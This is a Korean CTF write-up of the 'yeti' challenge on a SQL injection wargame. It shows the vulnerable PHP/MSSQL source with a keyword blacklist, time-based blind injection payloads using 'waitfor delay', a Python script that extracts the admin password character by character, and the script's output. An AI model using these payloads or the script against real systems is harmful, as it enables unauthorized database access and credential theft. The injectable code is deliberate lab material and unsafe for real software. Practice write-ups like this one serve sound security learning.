이번 문제 이름은 yeti다. 소스코드를 짜서 풀어야 하는 Blind SQL Injection 문제였다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
-----------------------------------------------------------------
query : select id from prob_yeti where id='' and pw=''
-----------------------------------------------------------------

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("yeti");
  if(preg_match('/master|sys|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);

  $query = "select pw from prob_yeti where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("yeti"); 
  highlight_file(__FILE__);
?>

문제를 풀기 위해서는 id='admin'일 때 pw의 값을 알아야 한다. 그런데 pw의 값을 정확하게 알아야 하는데 내가 입력한 쿼리의 결과가 참인지 거짓인지 구분할 만한 무언가가 없다. 그래서 Time based Blind SQL Injection를 통해 pw의 값을 알아내기로 했다. MySQL에서는 그냥 sleep를 사용하면 됬었는데, MSSQL에서는 sleep가 딱히 없는 것 같다. 그래서 waitfor delay를 사용했다. waitfor delay [지연시간]의 형태로 사용하면 되는데, 이 때 지연시간00:00:05와 같이 시:분:초의 형태로 넣어 주어야 한다. 먼저 아래의 값을 입력 해 waitfor delay로 문제를 풀 수 있는지 테스트 해 보았다.

1
?id=a&pw=1' if 1=1 waitfor delay '00:00:03' else waitfor delay '00:00:00' --

if문을 통해 1=1의 조건을 검사하고 해당 조건이 참이라면 3초 동안 지연을, 아니라면 지연을 하지 않는 쿼리문이다. 해당 쿼리 테스트 결과 아래와 같이 3초 지연된 결과를 받을 수 있었다.

이제 위의 쿼리에서 1=1 부분을 pw의 길이와 값을 알아내기 위한 쿼리로 바꾸면 문제를 풀 수 있을 것이다. 길이를 알아내기 위해서 아래와 같은 쿼리를 사용했다.

1
id=a&pw=1' if ((select len(pw) from prob_yeti where id='admin') = 1) waitfor delay '00:00:03' else waitfor delay '00:00:00' -- 

prob_yeti 테이블에서 id='admin'인 행의 pw 길이select하고 만약 그 결과가 3초 이상 지연된다면 해당 값이 길이일 것이다. 또한 값을 알아내기 위해서는 아래와 같은 쿼리를 사용했다.

1
id=a&pw=1' if ((select pw from prob_yeti where id='admin') like 'a%') waitfor delay '00:00:03' else waitfor delay '00:00:00' -- 

like을 사용했는데, 만약 prob_yeti 테이블에서 id='admin'인 행의 pw를 추출 했을 때 맨 첫번째 글자가 a라면 3초 지연 후 결과 값을 얻을 수 있을 것이다. 이를 바탕으로 아래와 같이 자동화 코드를 구현했다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import time

flag = ""
length = 0

url = "https://los.rubiya.kr/chall/yeti_e6afc70b892148ced2d1e063c1230255.php?id=a&pw=1'"
session = dict(PHPSESSID = "YOUR SESSION ID")

print "[+] Start"

print "[+] Find length of the password"

for i in range(0, 40):
	try:
		start = time.time()
		query = url + " if ((select len(pw) from prob_yeti where id='admin') = " + str(i) + ") waitfor delay '00:00:03' else waitfor delay '00:00:00' -- "
		r = requests.post(query, cookies=session)
	except:
		print "[-] Error occur"
		continue
	if (time.time() - start) > 3:
		length = i
		break	

print "[+] Found length : ", length

print "[+] Find password"
	
for j in range(1, length + 1):
	for i in range(48, 123):
		try:
			start = time.time()
			query = url + " if ((select pw from prob_yeti where id='admin') like '" + flag + str(chr(i)) + "%') waitfor delay '00:00:03' else waitfor delay '00:00:00' -- "
			r = requests.post(query, cookies=session)
		except:
			print "[-] Error occur"
			continue

		if (time.time() - start) > 3:
			flag += chr(i)
			print "[+] Found " + str(j), ":", flag
			break

print "[+] Found password : ", flag
print "[+] End"

그 결과 아래와 같이 결과값을 얻을 수 있었다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ python ex.py 
[+] Start
[+] Find length of the password
[+] Found length :  8
[+] Find password
[+] Found 1 : 6
[+] Found 2 : 64
[+] Found 3 : 642
[+] Found 4 : 6425
[+] Found 5 : 6425B
[+] Found 6 : 6425B7
[+] Found 7 : 6425B72
[+] Found 8 : 6425B725
[+] Found password :  6425B725
[+] End

따라서 알파벳을 소문자로 바꾸어 아래와 같이 입력하면 문제를 풀 수 있다.

1
?pw=6425b725

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
------------------------------------------------------------------------------------
query : select id from prob_yeti where id='' and pw='6425b725'
------------------------------------------------------------------------------------

YETI Clear!

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("yeti");
  if(preg_match('/master|sys|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);

  $query = "select pw from prob_yeti where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("yeti"); 
  highlight_file(__FILE__);
?>

1
YETI Clear!!